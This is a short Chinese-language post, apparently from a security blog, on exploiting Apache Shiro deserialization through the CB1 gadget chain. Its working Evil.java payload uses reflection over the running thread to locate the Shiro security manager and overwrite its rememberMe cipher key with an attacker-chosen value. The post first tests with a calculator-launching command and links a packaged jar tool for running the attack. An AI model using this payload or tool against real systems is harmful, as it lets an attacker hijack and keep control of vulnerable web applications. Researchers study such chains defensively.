通过代码执行临时修改Shiro密钥
环境搭建
https://github.com/phith0n/JavaThings
这里采用P牛给出专门针对shiro无CC依赖的CB1链来进行注入修改,
项目代码地址:https://github.com/phith0n/JavaThings/tree/master/shiroattack
首先测试一下弹计算器
执行Client1 的main 函数
修改Evil.java
package com.govuln.shiroattack; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.shiro.web.mgt.CookieRememberMeManager; import org.apache.shiro.web.mgt.DefaultWebSecurityManager; import sun.misc.BASE64Decoder; import java.io.IOException; import java.lang.reflect.Field; import java.util.HashSet; public class Evil extends AbstractTranslet { public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} static HashSet<Object> h; static DefaultWebSecurityManager r; public Evil() throws IOException { r = null; h =new HashSet<Object>(); F(Thread.currentThread(),0); } private static boolean i(Object obj){ if(obj==null|| h.contains(obj)){ return true; } h.add(obj); return false; } private static void p(Object o, int depth) throws IOException { if(depth > 52||(r !=null)){ return; } if(!i(o)){ if(r ==null&& DefaultWebSecurityManager.class.isAssignableFrom(o.getClass())){ r = (DefaultWebSecurityManager)o; } if(r != null){ CookieRememberMeManager cookieRememberMeManager = (CookieRememberMeManager) r.getRememberMeManager(); cookieRememberMeManager.setCipherKey(new BASE64Decoder().decodeBuffer("PEF+bI6k7D2aaZiXxcaaaC==")); return; } F(o,depth+1); } } private static void F(Object start, int depth){ Class n=start.getClass(); do{ for (Field declaredField : n.getDeclaredFields()) { declaredField.setAccessible(true); Object o = null; try{ o = declaredField.get(start); if(!o.getClass().isArray()){ p(o,depth); }else{ for (Object q : (Object[]) o) { p(q, depth); } } }catch (Exception e){ } } }while( (n = n.getSuperclass())!=null ); } // public Evil() throws Exception { // super(); // System.out.println("Hello TemplatesImpl"); // Runtime.getRuntime().exec("calc.exe"); // // } }
执行main函数
key 已经修改为PEF+bI6k7D2aaZiXxcaaaC==
尝试一下执行命令
编译成了一个jar包
使用方法 java -jar xxx.jar key
https://www.o2oxy.cn/wp-content/uploads/2021/12/shiroattack_jar.zip
参考文章:
https://mp.weixin.qq.com/s/E6eVw6uItS-iT2OOR5bkhA
https://github.com/phith0n/JavaThings
https://xz.aliyun.com/t/10696